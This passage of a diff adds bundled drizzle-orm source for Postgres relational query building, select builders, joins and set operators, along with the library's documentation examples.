PgTable) + // ? builtTableFrom.sql + // : new Subquery(builtTableFrom.sql, {}, tableAlias); + // } + // if (selectedColumns.length === 0 && selectedRelations.length === 0 && selectedExtras.length === 0) { + // throw new DrizzleError(`No fields selected for table "${tableConfig.tsName}" ("${tableAlias}")`); + // } + // let selection: BuildRelationalQueryResult['selection']; + // function prepareSelectedColumns() { + // return selectedColumns.map((key) => ({ + // dbKey: tableConfig.columns[key]!.name, + // tsKey: key, + // field: tableConfig.columns[key] as PgColumn, + // relationTableTsKey: undefined, + // isJson: false, + // selection: [], + // })); + // } + // function prepareSelectedExtras() { + // return selectedExtras.map((item) => ({ + // dbKey: item.value.fieldAlias, + // tsKey: item.tsKey, + // field: item.value, + // relationTableTsKey: undefined, + // isJson: false, + // selection: [], + // })); + // } + // if (isRoot) { + // selection = [ + // ...prepareSelectedColumns(), + // ...prepareSelectedExtras(), + // ]; + // } + // if (hasUserDefinedWhere || orderBy.length > 0) { + // tableFrom = new Subquery( + // this.buildSelectQuery({ + // table: is(tableFrom, PgTable) ? aliasedTable(tableFrom, tableAlias) : tableFrom, + // fields: {}, + // fieldsFlat: selectionForBuild.map(({ field }) => ({ + // path: [], + // field: is(field, Column) ? aliasedTableColumn(field, tableAlias) : field, + // })), + // joins, + // distinct, + // }), + // {}, + // tableAlias, + // ); + // selectionForBuild = selection.map((item) => + // is(item.field, SQL.Aliased) + // ? { ...item, field: sql`${sql.identifier(tableAlias)}.${sql.identifier(item.field.fieldAlias)}` } + // : item + // ); + // joins = []; + // distinct = undefined; + // } + // const result = this.buildSelectQuery({ + // table: is(tableFrom, PgTable) ? aliasedTable(tableFrom, tableAlias) : tableFrom, + // fields: {}, + // fieldsFlat: selectionForBuild.map(({ field }) => ({ + // path: [], + // field: is(field, Column) ? aliasedTableColumn(field, tableAlias) : field, + // })), + // where, + // limit, + // offset, + // joins, + // orderBy, + // distinct, + // }); + // return { + // tableTsKey: tableConfig.tsName, + // sql: result, + // selection, + // }; + // } + buildRelationalQueryWithoutPK({ + fullSchema, + schema, + tableNamesMap, + table: table2, + tableConfig, + queryConfig: config2, + tableAlias, + nestedQueryRelation, + joinOn + }) { + let selection = []; + let limit, offset, orderBy = [], where; + const joins = []; + if (config2 === true) { + const selectionEntries = Object.entries(tableConfig.columns); + selection = selectionEntries.map(([key, value]) => ({ + dbKey: value.name, + tsKey: key, + field: aliasedTableColumn(value, tableAlias), + relationTableTsKey: void 0, + isJson: false, + selection: [] + })); + } else { + const aliasedColumns = Object.fromEntries( + Object.entries(tableConfig.columns).map(([key, value]) => [key, aliasedTableColumn(value, tableAlias)]) + ); + if (config2.where) { + const whereSql = typeof config2.where === "function" ? config2.where(aliasedColumns, getOperators()) : config2.where; + where = whereSql && mapColumnsInSQLToAlias(whereSql, tableAlias); + } + const fieldsSelection = []; + let selectedColumns = []; + if (config2.columns) { + let isIncludeMode = false; + for (const [field, value] of Object.entries(config2.columns)) { + if (value === void 0) { + continue; + } + if (field in tableConfig.columns) { + if (!isIncludeMode && value === true) { + isIncludeMode = true; + } + selectedColumns.push(field); + } + } + if (selectedColumns.length > 0) { + selectedColumns = isIncludeMode ? selectedColumns.filter((c) => config2.columns?.[c] === true) : Object.keys(tableConfig.columns).filter((key) => !selectedColumns.includes(key)); + } + } else { + selectedColumns = Object.keys(tableConfig.columns); + } + for (const field of selectedColumns) { + const column = tableConfig.columns[field]; + fieldsSelection.push({ tsKey: field, value: column }); + } + let selectedRelations = []; + if (config2.with) { + selectedRelations = Object.entries(config2.with).filter((entry) => !!entry[1]).map(([tsKey, queryConfig]) => ({ tsKey, queryConfig, relation: tableConfig.relations[tsKey] })); + } + let extras; + if (config2.extras) { + extras = typeof config2.extras === "function" ? config2.extras(aliasedColumns, { sql }) : config2.extras; + for (const [tsKey, value] of Object.entries(extras)) { + fieldsSelection.push({ + tsKey, + value: mapColumnsInAliasedSQLToAlias(value, tableAlias) + }); + } + } + for (const { tsKey, value } of fieldsSelection) { + selection.push({ + dbKey: is(value, SQL.Aliased) ? value.fieldAlias : tableConfig.columns[tsKey].name, + tsKey, + field: is(value, Column) ? aliasedTableColumn(value, tableAlias) : value, + relationTableTsKey: void 0, + isJson: false, + selection: [] + }); + } + let orderByOrig = typeof config2.orderBy === "function" ? config2.orderBy(aliasedColumns, getOrderByOperators()) : config2.orderBy ?? []; + if (!Array.isArray(orderByOrig)) { + orderByOrig = [orderByOrig]; + } + orderBy = orderByOrig.map((orderByValue) => { + if (is(orderByValue, Column)) { + return aliasedTableColumn(orderByValue, tableAlias); + } + return mapColumnsInSQLToAlias(orderByValue, tableAlias); + }); + limit = config2.limit; + offset = config2.offset; + for (const { + tsKey: selectedRelationTsKey, + queryConfig: selectedRelationConfigValue, + relation + } of selectedRelations) { + const normalizedRelation = normalizeRelation(schema, tableNamesMap, relation); + const relationTableName = getTableUniqueName(relation.referencedTable); + const relationTableTsName = tableNamesMap[relationTableName]; + const relationTableAlias = `${tableAlias}_${selectedRelationTsKey}`; + const joinOn2 = and( + ...normalizedRelation.fields.map( + (field2, i) => eq( + aliasedTableColumn(normalizedRelation.references[i], relationTableAlias), + aliasedTableColumn(field2, tableAlias) + ) + ) + ); + const builtRelation = this.buildRelationalQueryWithoutPK({ + fullSchema, + schema, + tableNamesMap, + table: fullSchema[relationTableTsName], + tableConfig: schema[relationTableTsName], + queryConfig: is(relation, One) ? selectedRelationConfigValue === true ? { limit: 1 } : { ...selectedRelationConfigValue, limit: 1 } : selectedRelationConfigValue, + tableAlias: relationTableAlias, + joinOn: joinOn2, + nestedQueryRelation: relation + }); + const field = sql`${sql.identifier(relationTableAlias)}.${sql.identifier("data")}`.as(selectedRelationTsKey); + joins.push({ + on: sql`true`, + table: new Subquery(builtRelation.sql, {}, relationTableAlias), + alias: relationTableAlias, + joinType: "left", + lateral: true + }); + selection.push({ + dbKey: selectedRelationTsKey, + tsKey: selectedRelationTsKey, + field, + relationTableTsKey: relationTableTsName, + isJson: true, + selection: builtRelation.selection + }); + } + } + if (selection.length === 0) { + throw new DrizzleError({ message: `No fields selected for table "${tableConfig.tsName}" ("${tableAlias}")` }); + } + let result; + where = and(joinOn, where); + if (nestedQueryRelation) { + let field = sql`json_build_array(${sql.join( + selection.map( + ({ field: field2, tsKey, isJson }) => isJson ? sql`${sql.identifier(`${tableAlias}_${tsKey}`)}.${sql.identifier("data")}` : is(field2, SQL.Aliased) ? field2.sql : field2 + ), + sql`, ` + )})`; + if (is(nestedQueryRelation, Many)) { + field = sql`coalesce(json_agg(${field}${orderBy.length > 0 ? sql` order by ${sql.join(orderBy, sql`, `)}` : void 0}), '[]'::json)`; + } + const nestedSelection = [{ + dbKey: "data", + tsKey: "data", + field: field.as("data"), + isJson: true, + relationTableTsKey: tableConfig.tsName, + selection + }]; + const needsSubquery = limit !== void 0 || offset !== void 0 || orderBy.length > 0; + if (needsSubquery) { + result = this.buildSelectQuery({ + table: aliasedTable(table2, tableAlias), + fields: {}, + fieldsFlat: [{ + path: [], + field: sql.raw("*") + }], + where, + limit, + offset, + orderBy, + setOperators: [] + }); + where = void 0; + limit = void 0; + offset = void 0; + orderBy = []; + } else { + result = aliasedTable(table2, tableAlias); + } + result = this.buildSelectQuery({ + table: is(result, PgTable) ? result : new Subquery(result, {}, tableAlias), + fields: {}, + fieldsFlat: nestedSelection.map(({ field: field2 }) => ({ + path: [], + field: is(field2, Column) ? aliasedTableColumn(field2, tableAlias) : field2 + })), + joins, + where, + limit, + offset, + orderBy, + setOperators: [] + }); + } else { + result = this.buildSelectQuery({ + table: aliasedTable(table2, tableAlias), + fields: {}, + fieldsFlat: selection.map(({ field }) => ({ + path: [], + field: is(field, Column) ? aliasedTableColumn(field, tableAlias) : field + })), + joins, + where, + limit, + offset, + orderBy, + setOperators: [] + }); + } + return { + tableTsKey: tableConfig.tsName, + sql: result, + selection + }; + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/query-builders/query-builder.js +var TypedQueryBuilder = class { + static [entityKind] = "TypedQueryBuilder"; + /** @internal */ + getSelectedFields() { + return this._.selectedFields; + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/query-builders/select.js +var PgSelectBuilder = class { + static [entityKind] = "PgSelectBuilder"; + fields; + session; + dialect; + withList = []; + distinct; + constructor(config2) { + this.fields = config2.fields; + this.session = config2.session; + this.dialect = config2.dialect; + if (config2.withList) { + this.withList = config2.withList; + } + this.distinct = config2.distinct; + } + authToken; + /** @internal */ + setToken(token) { + this.authToken = token; + return this; + } + /** + * Specify the table, subquery, or other target that you're + * building a select query against. + * + * {@link https://www.postgresql.org/docs/current/sql-select.html#SQL-FROM | Postgres from documentation} + */ + from(source) { + const isPartialSelect = !!this.fields; + const src = source; + let fields; + if (this.fields) { + fields = this.fields; + } else if (is(src, Subquery)) { + fields = Object.fromEntries( + Object.keys(src._.selectedFields).map((key) => [key, src[key]]) + ); + } else if (is(src, PgViewBase)) { + fields = src[ViewBaseConfig].selectedFields; + } else if (is(src, SQL)) { + fields = {}; + } else { + fields = getTableColumns(src); + } + return new PgSelectBase({ + table: src, + fields, + isPartialSelect, + session: this.session, + dialect: this.dialect, + withList: this.withList, + distinct: this.distinct + }).setToken(this.authToken); + } +}; +var PgSelectQueryBuilderBase = class extends TypedQueryBuilder { + static [entityKind] = "PgSelectQueryBuilder"; + _; + config; + joinsNotNullableMap; + tableName; + isPartialSelect; + session; + dialect; + cacheConfig = void 0; + usedTables = /* @__PURE__ */ new Set(); + constructor({ table: table2, fields, isPartialSelect, session, dialect, withList, distinct }) { + super(); + this.config = { + withList, + table: table2, + fields: { ...fields }, + distinct, + setOperators: [] + }; + this.isPartialSelect = isPartialSelect; + this.session = session; + this.dialect = dialect; + this._ = { + selectedFields: fields, + config: this.config + }; + this.tableName = getTableLikeName(table2); + this.joinsNotNullableMap = typeof this.tableName === "string" ? { [this.tableName]: true } : {}; + for (const item of extractUsedTable(table2)) this.usedTables.add(item); + } + /** @internal */ + getUsedTables() { + return [...this.usedTables]; + } + createJoin(joinType, lateral) { + return (table2, on) => { + const baseTableName = this.tableName; + const tableName = getTableLikeName(table2); + for (const item of extractUsedTable(table2)) this.usedTables.add(item); + if (typeof tableName === "string" && this.config.joins?.some((join) => join.alias === tableName)) { + throw new Error(`Alias "${tableName}" is already used in this query`); + } + if (!this.isPartialSelect) { + if (Object.keys(this.joinsNotNullableMap).length === 1 && typeof baseTableName === "string") { + this.config.fields = { + [baseTableName]: this.config.fields + }; + } + if (typeof tableName === "string" && !is(table2, SQL)) { + const selection = is(table2, Subquery) ? table2._.selectedFields : is(table2, View) ? table2[ViewBaseConfig].selectedFields : table2[Table.Symbol.Columns]; + this.config.fields[tableName] = selection; + } + } + if (typeof on === "function") { + on = on( + new Proxy( + this.config.fields, + new SelectionProxyHandler({ sqlAliasedBehavior: "sql", sqlBehavior: "sql" }) + ) + ); + } + if (!this.config.joins) { + this.config.joins = []; + } + this.config.joins.push({ on, table: table2, joinType, alias: tableName, lateral }); + if (typeof tableName === "string") { + switch (joinType) { + case "left": { + this.joinsNotNullableMap[tableName] = false; + break; + } + case "right": { + this.joinsNotNullableMap = Object.fromEntries( + Object.entries(this.joinsNotNullableMap).map(([key]) => [key, false]) + ); + this.joinsNotNullableMap[tableName] = true; + break; + } + case "cross": + case "inner": { + this.joinsNotNullableMap[tableName] = true; + break; + } + case "full": { + this.joinsNotNullableMap = Object.fromEntries( + Object.entries(this.joinsNotNullableMap).map(([key]) => [key, false]) + ); + this.joinsNotNullableMap[tableName] = false; + break; + } + } + } + return this; + }; + } + /** + * Executes a `left join` operation by adding another table to the current query. + * + * Calling this method associates each row of the table with the corresponding row from the joined table, if a match is found. If no matching row exists, it sets all columns of the joined table to null. + * + * See docs: {@link https://orm.drizzle.team/docs/joins#left-join} + * + * @param table the table to join. + * @param on the `on` clause. + * + * @example + * + * ```ts + * // Select all users and their pets + * const usersWithPets: { user: User; pets: Pet | null; }[] = await db.select() + * .from(users) + * .leftJoin(pets, eq(users.id, pets.ownerId)) + * + * // Select userId and petId + * const usersIdsAndPetIds: { userId: number; petId: number | null; }[] = await db.select({ + * userId: users.id, + * petId: pets.id, + * }) + * .from(users) + * .leftJoin(pets, eq(users.id, pets.ownerId)) + * ``` + */ + leftJoin = this.createJoin("left", false); + /** + * Executes a `left join lateral` operation by adding subquery to the current query. + * + * A `lateral` join allows the right-hand expression to refer to columns from the left-hand side. + * + * Calling this method associates each row of the table with the corresponding row from the joined table, if a match is found. If no matching row exists, it sets all columns of the joined table to null. + * + * See docs: {@link https://orm.drizzle.team/docs/joins#left-join-lateral} + * + * @param table the subquery to join. + * @param on the `on` clause. + */ + leftJoinLateral = this.createJoin("left", true); + /** + * Executes a `right join` operation by adding another table to the current query. + * + * Calling this method associates each row of the joined table with the corresponding row from the main table, if a match is found. If no matching row exists, it sets all columns of the main table to null. + * + * See docs: {@link https://orm.drizzle.team/docs/joins#right-join} + * + * @param table the table to join. + * @param on the `on` clause. + * + * @example + * + * ```ts + * // Select all users and their pets + * const usersWithPets: { user: User | null; pets: Pet; }[] = await db.select() + * .from(users) + * .rightJoin(pets, eq(users.id, pets.ownerId)) + * + * // Select userId and petId + * const usersIdsAndPetIds: { userId: number | null; petId: number; }[] = await db.select({ + * userId: users.id, + * petId: pets.id, + * }) + * .from(users) + * .rightJoin(pets, eq(users.id, pets.ownerId)) + * ``` + */ + rightJoin = this.createJoin("right", false); + /** + * Executes an `inner join` operation, creating a new table by combining rows from two tables that have matching values. + * + * Calling this method retrieves rows that have corresponding entries in both joined tables. Rows without matching entries in either table are excluded, resulting in a table that includes only matching pairs. + * + * See docs: {@link https://orm.drizzle.team/docs/joins#inner-join} + * + * @param table the table to join. + * @param on the `on` clause. + * + * @example + * + * ```ts + * // Select all users and their pets + * const usersWithPets: { user: User; pets: Pet; }[] = await db.select() + * .from(users) + * .innerJoin(pets, eq(users.id, pets.ownerId)) + * + * // Select userId and petId + * const usersIdsAndPetIds: { userId: number; petId: number; }[] = await db.select({ + * userId: users.id, + * petId: pets.id, + * }) + * .from(users) + * .innerJoin(pets, eq(users.id, pets.ownerId)) + * ``` + */ + innerJoin = this.createJoin("inner", false); + /** + * Executes an `inner join lateral` operation, creating a new table by combining rows from two queries that have matching values. + * + * A `lateral` join allows the right-hand expression to refer to columns from the left-hand side. + * + * Calling this method retrieves rows that have corresponding entries in both joined tables. Rows without matching entries in either table are excluded, resulting in a table that includes only matching pairs. + * + * See docs: {@link https://orm.drizzle.team/docs/joins#inner-join-lateral} + * + * @param table the subquery to join. + * @param on the `on` clause. + */ + innerJoinLateral = this.createJoin("inner", true); + /** + * Executes a `full join` operation by combining rows from two tables into a new table. + * + * Calling this method retrieves all rows from both main and joined tables, merging rows with matching values and filling in `null` for non-matching columns. + * + * See docs: {@link https://orm.drizzle.team/docs/joins#full-join} + * + * @param table the table to join. + * @param on the `on` clause. + * + * @example + * + * ```ts + * // Select all users and their pets + * const usersWithPets: { user: User | null; pets: Pet | null; }[] = await db.select() + * .from(users) + * .fullJoin(pets, eq(users.id, pets.ownerId)) + * + * // Select userId and petId + * const usersIdsAndPetIds: { userId: number | null; petId: number | null; }[] = await db.select({ + * userId: users.id, + * petId: pets.id, + * }) + * .from(users) + * .fullJoin(pets, eq(users.id, pets.ownerId)) + * ``` + */ + fullJoin = this.createJoin("full", false); + /** + * Executes a `cross join` operation by combining rows from two tables into a new table. + * + * Calling this method retrieves all rows from both main and joined tables, merging all rows from each table. + * + * See docs: {@link https://orm.drizzle.team/docs/joins#cross-join} + * + * @param table the table to join. + * + * @example + * + * ```ts + * // Select all users, each user with every pet + * const usersWithPets: { user: User; pets: Pet; }[] = await db.select() + * .from(users) + * .crossJoin(pets) + * + * // Select userId and petId + * const usersIdsAndPetIds: { userId: number; petId: number; }[] = await db.select({ + * userId: users.id, + * petId: pets.id, + * }) + * .from(users) + * .crossJoin(pets) + * ``` + */ + crossJoin = this.createJoin("cross", false); + /** + * Executes a `cross join lateral` operation by combining rows from two queries into a new table. + * + * A `lateral` join allows the right-hand expression to refer to columns from the left-hand side. + * + * Calling this method retrieves all rows from both main and joined queries, merging all rows from each query. + * + * See docs: {@link https://orm.drizzle.team/docs/joins#cross-join-lateral} + * + * @param table the query to join. + */ + crossJoinLateral = this.createJoin("cross", true); + createSetOperator(type, isAll) { + return (rightSelection) => { + const rightSelect = typeof rightSelection === "function" ? rightSelection(getPgSetOperators()) : rightSelection; + if (!haveSameKeys(this.getSelectedFields(), rightSelect.getSelectedFields())) { + throw new Error( + "Set operator error (union / intersect / except): selected fields are not the same or are in a different order" + ); + } + this.config.setOperators.push({ type, isAll, rightSelect }); + return this; + }; + } + /** + * Adds `union` set operator to the query. + * + * Calling this method will combine the result sets of the `select` statements and remove any duplicate rows that appear across them. + * + * See docs: {@link https://orm.drizzle.team/docs/set-operations#union} + * + * @example + * + * ```ts + * // Select all unique names from customers and users tables + * await db.select({ name: users.name }) + * .from(users) + * .union( + * db.select({ name: customers.name }).from(customers) + * ); + * // or + * import { union } from 'drizzle-orm/pg-core' + * + * await union( + * db.select({ name: users.name }).from(users), + * db.select({ name: customers.name }).from(customers) + * ); + * ``` + */ + union = this.createSetOperator("union", false); + /** + * Adds `union all` set operator to the query. + * + * Calling this method will combine the result-set of the `select` statements and keep all duplicate rows that appear across them. + * + * See docs: {@link https://orm.drizzle.team/docs/set-operations#union-all} + * + * @example + * + * ```ts + * // Select all transaction ids from both online and in-store sales + * await db.select({ transaction: onlineSales.transactionId }) + * .from(onlineSales) + * .unionAll( + * db.select({ transaction: inStoreSales.transactionId }).from(inStoreSales) + * ); + * // or + * import { unionAll } from 'drizzle-orm/pg-core' + * + * await unionAll( + * db.select({ transaction: onlineSales.transactionId }).from(onlineSales), + * db.select({ transaction: inStoreSales.transactionId }).from(inStoreSales) + * ); + * ``` + */ + unionAll = this.createSetOperator("union", true); + /** + * Adds `intersect` set operator to the query. + * + * Calling this method will retain only the rows that are present in both result sets and eliminate duplicates. + * + * See docs: {@link https://orm.drizzle.team/docs/set-operations#intersect} + * + * @example + * + * ```ts + * // Select course names that are offered in both departments A and B + * await db.select({ courseName: depA.courseName }) + * .from(depA) + * .intersect( + * db.select({ courseName: depB.courseName }).from(depB) + * ); + * // or + * import { intersect } from 'drizzle-orm/pg-core' + * + * await intersect( + * db.select({ courseName: depA.courseName }).from(depA), + * db.select({ courseName: depB.courseName }).from(depB) + * ); + * ``` + */ + intersect = this.createSetOperator("intersect", false); + /** + * Adds `intersect all` set operator to the query. + * + * Calling this method will retain only the rows that are present in both result sets including all duplicates. + * + * See docs: {@link https://orm.drizzle.team/docs/set-operations#intersect-all} + * + * @example + * + * ```ts + * // Select all products and quantities that are ordered by both regular and VIP customers + * await db.select({ + * productId: regularCustomerOrders.productId, + * quantityOrdered: regularCustomerOrders.quantityOrdered + * }) + * .from(regularCustomerOrders) + * .intersectAll( + * db.select({ + * productId: vipCustomerOrders.productId, + * quantityOrdered: vipCustomerOrders.quantityOrdered + * }) + * .from(vipCustomerOrders) + * ); + * // or + * import { intersectAll } from 'drizzle-orm/pg-core' + * + * await intersectAll( + * db.select({ + * productId: regularCustomerOrders.productId, + * quantityOrdered: regularCustomerOrders.quantityOrdered + * }) + * .from(regularCustomerOrders), + * db.select({ + * productId: vipCustomerOrders.productId, + * quantityOrdered: vipCustomerOrders.quantityOrdered + * }) + * .from(vipCustomerOrders) + * ); + * ``` + */ + intersectAll = this.createSetOperator("intersect", true); + /** + * Adds `except` set operator to the query. + * + * Calling this method will retrieve all unique rows from the left query, except for the rows that are present in the result set of the right query. + * + * See docs: {@link https://orm.drizzle.team/docs/set-operations#except} + * + * @example + * + * ```ts + * // Select all courses offered in department A but not in department B + * await db.select({ courseName: depA.courseName }) + * .from(depA) + * .except( + * db.select({ courseName: depB.courseName }).from(depB) + * ); + * // or + * import { except } from 'drizzle-orm/pg-core' + * + * await except( + * db.select({ courseName: depA.courseName }).from(depA), + * db.select({ courseName: depB.courseName }).from(depB) + * ); + * ``` + */ + except = this.createSetOperator("except", false); + /** + * Adds `except all` set operator to the query. + * + * Calling this method will retrieve all rows from the left query, except for the rows that are present in the result set of the right query. + * + * See docs: {@link https://orm.drizzle.team/docs/set-operations#except-all} + * + * @example + * + * ```ts + * // Select all products that are ordered by regular customers but not by VIP customers + * await db.select({ + * productId: regularCustomerOrders.productId, + * quantityOrdered: regularCustomerOrders.quantityOrdered, + * }) + * .from(regularCustomerOrders) + * .exceptAll( + * db.select({ + * productId: vipCustomerOrders.productId, + * quantityOrdered: vipCustomerOrders.quantityOrdered, + * }) + * .from(vipCustomerOrders) + * ); + * // or + * import { exceptAll } from 'drizzle-orm/pg-core' + * + * await exceptAll( + * db.select({ + * productId: regularCustomerOrders.productId, + * quantityOrdered: regularCustomerOrders.quantityOrdered + * }) + * .from(regularCustomerOrders), + * db.select({ + * productId: vipCustomerOrders.productId, + * quantityOrdered: vipCustomerOrders.quantityOrdered + * }) + * .from(vipCustomerOrders) + * ); + * ``` + */ + exceptAll = this.createSetOperator("except", true); + /** @internal */ + addSetOperators(setOperators) { + this.config.setOperators.push(...setOperators); + return this; + } + /** + * Adds a `where` clause to the query. + * + * Calling this method will select only those rows that fulfill a specified condition. + * + * See docs: {@link https://orm.drizzle.team/docs/select#filtering} + * + * @param where the `where` clause. + * + * @example + * You can use conditional operators and `sql function` to filter the rows to be selected. + * + * ```ts + * // Select all cars with green color + * await db.select().from(cars).where(eq(cars.color, 'green')); + * // or + * await db.select().from(cars).where(sql`${cars.color} = 'green'`) + * ``` + * + * You can logically combine conditional operators with `and()` and `or()` operators: + * + * ```ts + * // Select all BMW cars with a green color + * await db.select().from(cars).where(and(eq(cars.color, 'green'), eq(cars.brand, 'BMW'))); + * + * // Select all cars with the green or blue color + * await db.select().from(cars).where(or(eq(cars.color, 'green'), eq(cars.color, 'blue'))); + * ``` + */ + where(where) { + if (typeof where === "function") { + where = where( + new Proxy( + this.config.fields, + new SelectionProxyHandler({ sqlAliasedBehavior: "sql", sqlBehavior: "sql" }) + ) + ); + } + this.config.where = where; + return this; + } + /** + * Adds a `having` clause to the query. + * + * Calling this method will select only those rows that fulfill a specified condition. It is typically used with aggregate functions to filter the aggregated data based on a specified condition. + * + * See docs: {@link https://orm.drizzle.team/docs/select#aggregations} + * + * @param having the `having` clause. + * + * @example + * + * ```ts + * // Select all brands with more than one car + * await db.select({ + * brand: cars.brand, + * count: sql`cast(count(${cars.id}) as int)`, + * }) + * .from(cars) + * .groupBy(cars.brand) + * .having(({ count }) => gt(count, 1)); + * ``` + */ + having(having) { + if (typeof having === "function") { + having = having( + new Proxy( + this.config.fields, + new SelectionProxyHandler({ sqlAliasedBehavior: "sql", sqlBehavior: "sql" }) + ) + ); + } + this.config.having = having; + return this; + } + groupBy(...columns) { + if (typeof columns[0] === "function") { + const groupBy = columns[0]( + new Proxy( + this.config.fields, + new SelectionProxyHandler({ sqlAliasedBehavior: "alias", sqlBehavior: "sql" }) + ) + ); + this.config.groupBy = Array.isArray(groupBy) ? groupBy : [groupBy]; + } else { + this.config.groupBy = columns; + } + return this; + } + orderBy(...columns) { + if (typeof columns[0] === "function") { + const orderBy = columns[0]( + new Proxy( + this.config.fields, + new SelectionProxyHandler({ sqlAliasedBehavior: "alias", sqlBehavior: "sql" }) + ) + ); + const orderByArray = Array.isArray(orderBy) ? orderBy : [orderBy]; + if (this.config.setOperators.length > 0) { + this.config.setOperators.at(-1).orderBy = orderByArray; + } else { + this.config.orderBy = orderByArray; + } + } else { + const orderByArray = columns; + if (this.config.setOperators.length > 0) { + this.config.setOperators.at(-1).orderBy = orderByArray; + } else { + this.config.orderBy = orderByArray; + } + } + return this; + } + /** + * Adds a `limit` clause to the query. + * + * Calling this method will set the maximum number of rows that will be returned by this query. + * + * See docs: {@link https://orm.drizzle.team/docs/select#limit--offset} + * + * @param limit the `limit` clause. + * + * @example + * + * ```ts + * // Get the first 10 people from this query. + * await db.select().from(people).limit(10); + * ``` + */ + limit(limit) { + if (this.config.setOperators.length > 0) { + this.config.setOperators.at(-1).limit = limit; + } else { + this.config.limit = limit; + } + return this; + } + /** + * Adds an `offset` clause to the query. + * + * Calling this method will skip a number of rows when returning results from this query. + * + * See docs: {@link https://orm.drizzle.team/docs/select#limit--offset} + * + * @param offset the `offset` clause. + * + * @example + * + * ```ts + * // Get the 10th-20th people from this query. + * await db.select().from(people).offset(10).limit(10); + * ``` + */ + offset(offset) { + if (this.config.setOperators.length > 0) { + this.config.setOperators.at(-1).offset = offset; + } else { + this.config.offset = offset; + } + return this; + } + /** + * Adds a `for` clause to the query. + * + * Calling this method will specify a lock strength for this query that controls how strictly it acquires exclusive access to the rows being queried. + * + * See docs: {@link https://www.postgresql.org/docs/current/sql-select.html#SQL-FOR-UPDATE-SHARE} + * + * @param strength the lock strength. + * @param config the lock configuration. + */ + for(strength, config2 = {}) { + this.config.lockingClause = { strength, config: config2 }; + return this; + } + /** @internal */ + getSQL() { + return this.dialect.buildSelectQuery(this.config); + } + toSQL() { + const { typings: _typings, ...rest } = this.dialect.sqlToQuery(this.getSQL()); + return rest; + } + as(alias) { + const usedTables = []; + usedTables.push(...extractUsedTable(this.config.table)); + if (this.config.joins) { + for (const it of this.config.joins) usedTables.push(...extractUsedTable(it.table)); + } + return new Proxy( + new Subquery(this.getSQL(), this.config.fields, alias, false, [...new Set(usedTables)]), + new SelectionProxyHandler({ alias, sqlAliasedBehavior: "alias", sqlBehavior: "error" }) + ); + } + /** @internal */ + getSelectedFields() { + return new Proxy( + this.config.fields, + new SelectionProxyHandler({ alias: this.tableName, sqlAliasedBehavior: "alias", sqlBehavior: "error" }) + ); + } + $dynamic() { + return this; + } + $withCache(config2) { + this.cacheConfig = config2 === void 0 ? { config: {}, enable: true, autoInvalidate: true } : config2 === false ? { enable: false } : { enable: true, autoInvalidate: true, ...config2 }; + return this; + } +}; +var PgSelectBase = class extends PgSelectQueryBuilderBase { + static [entityKind] = "PgSelect"; + /** @internal */ + _prepare(name) { + const { session, config: config2, dialect, joinsNotNullableMap, authToken, cacheConfig, usedTables } = this; + if (!session) { + throw new Error("Cannot execute a query on a query builder. Please use a database instance instead."); + } + const { fields } = config2; + return tracer.startActiveSpan("drizzle.prepareQuery", () => { + const fieldsList = orderSelectedFields(fields); + const query = session.prepareQuery(dialect.sqlToQuery(this.getSQL()), fieldsList, name, true, void 0, { + type: "select", + tables: [...usedTables] + }, cacheConfig); + query.joinsNotNullableMap = joinsNotNullableMap; + return query.setToken(authToken); + }); + } + /** + * Create a prepared statement for this query. This allows + * the database to remember this query for the given session + * and call it by name, rather than specifying the full query. + * + * {@link https://www.postgresql.org/docs/current/sql-prepare.html | Postgres prepare documentation} + */ + prepare(name) { + return this._prepare(name); + } + authToken; + /** @internal */ + setToken(token) { + this.authToken = token; + return this; + } + execute = (placeholderValues) => { + return tracer.startActiveSpan("drizzle.operation", () => { + return this._prepare().execute(placeholderValues, this.authToken); + }); + }; +}; +applyMixins(PgSelectBase, [QueryPromise]); +function createSetOperator(type, isAll) { + return (leftSelect, rightSelect, ...restSelects) => { + const setOperators = [rightSelect, ...restSelects].map((select2) => ({ + type, + isAll, + rightSelect: select2 + })); + for (const setOperator of setOperators) { + if (!haveSameKeys(leftSelect.getSelectedFields(), setOperator.rightSelect.getSelectedFields())) { + throw new Error( + "Set operator error (union / intersect / except): selected fields are not the same or are in a different order" + ); + } + } + return leftSelect.addSetOperators(setOperators); + }; +} +var getPgSetOperators = () => ({ + union: union2, + unionAll, + intersect, + intersectAll, + except, + exceptAll +}); +var union2 = createSetOperator("union", false); +var unionAll = createSetOperator("union", true); +var intersect = createSetOperator("intersect", false); +var intersectAll = createSetOperator("intersect", true); +var except = createSetOperator("except", false); +var exceptAll = createSetOperator("except", true); + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/query-builders/query-builder.js +var QueryBuilder = class { + static [entityKind] = "PgQueryBuilder"; + dialect; + dialectConfig; + constructor(dialect) { + this.dialect = is(dialect, PgDialect) ? dialect : void 0; + this.dialectConfig = is(dialect, PgDialect) ? void 0 : dialect; + } + $with = (alias, selection) => { + const queryBuilder = this; + const as = (qb) => { + if (typeof qb === "function") { + qb = qb(queryBuilder); + } + return new Proxy( + new WithSubquery( + qb.getSQL(), + selection ?? ("getSelectedFields" in qb ? qb.getSelectedFields() ?? {} : {}), + alias, + true + ), + new SelectionProxyHandler({ alias, sqlAliasedBehavior: "alias", sqlBehavior: "error" }) + ); + }; + return { as }; + }; + with(...queries) { + const self2 = this; + function select2(fields) { + return new PgSelectBuilder({ + fields: fields ?? void 0, + session: void 0, + dialect: self2.getDialect(), + withList: queries + }); + } + function selectDistinct(fields) { + return new PgSelectBuilder({ + fields: fields ?? void 0, + session: void 0, + dialect: self2.getDialect(), + distinct: true + }); + } + function selectDistinctOn(on, fields) { + return new PgSelectBuilder({ + fields: fields ?? void 0, + session: void 0, + dialect: self2.getDialect(), + distinct: { on } + }); + } + return { select: select2, selectDistinct, selectDistinctOn }; + } + select(fields) { + return new PgSelectBuilder({ + fields: fields ?? void 0, + session: void 0, + dialect: this.getDialect() + }); + } + selectDistinct(fields) { + return new PgSelectBuilder({ + fields: fields ?? void 0, + session: void 0, + dialect: this.getDialect(), + distinct: true + }); + } + selectDistinctOn(on, fields) { + return new PgSelectBuilder({ + fields: fields ?? void 0, + session: void 0, + dialect: this.getDialect(), + distinct: { on } + }); + } + // Lazy load dialect to avoid circular 